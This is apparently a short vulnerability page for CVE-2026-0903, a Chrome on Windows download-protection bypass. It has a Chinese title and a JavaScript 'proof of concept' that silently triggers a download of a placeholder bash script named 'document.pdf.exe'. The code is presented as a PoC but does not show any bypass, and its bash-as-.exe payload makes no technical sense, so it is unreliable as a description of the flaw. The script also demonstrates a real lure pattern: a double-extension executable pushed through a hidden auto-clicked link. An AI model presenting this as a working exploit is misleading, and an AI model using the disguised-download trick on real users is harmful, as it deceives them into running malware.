CVE-2026-0903 Google Chrome Windows下载模块危险文件类型保护绕过漏洞

// CVE-2026-0903 PoC - Dangerous File Type Protection Bypass in Chrome Downloads // This PoC demonstrates the concept of bypassing file type protections // Note: This is for educational and security research purposes only // Simulate a malicious file with deceptive extension const maliciousFileContent = ` #!/bin/bash # This simulates a malicious script disguised as safe content echo 'Malicious payload execution' # In real attack, this would contain actual malicious code `; // Create a file with double extension to bypass protection const deceptiveFilename = 'document.pdf.exe'; // Create a blob with the malicious content const maliciousBlob = new Blob([maliciousFileContent], { type: 'application/octet-stream' }); // Attempt to trigger download through Chrome function triggerDownload() { const downloadLink = document.createElement('a'); downloadLink.href = URL.createObjectURL(maliciousBlob); downloadLink.download = deceptiveFilename; document.body.appendChild(downloadLink); downloadLink.click(); document.body.removeChild(downloadLink); } // The actual PoC would involve specific techniques to bypass Chrome's // dangerous file type protection in the Downloads module console.log('CVE-2026-0903 - File type protection bypass PoC'); console.log('Affected: Chrome < 144.0.7559.59 on Windows'); console.log('This PoC demonstrates the file download bypass concept');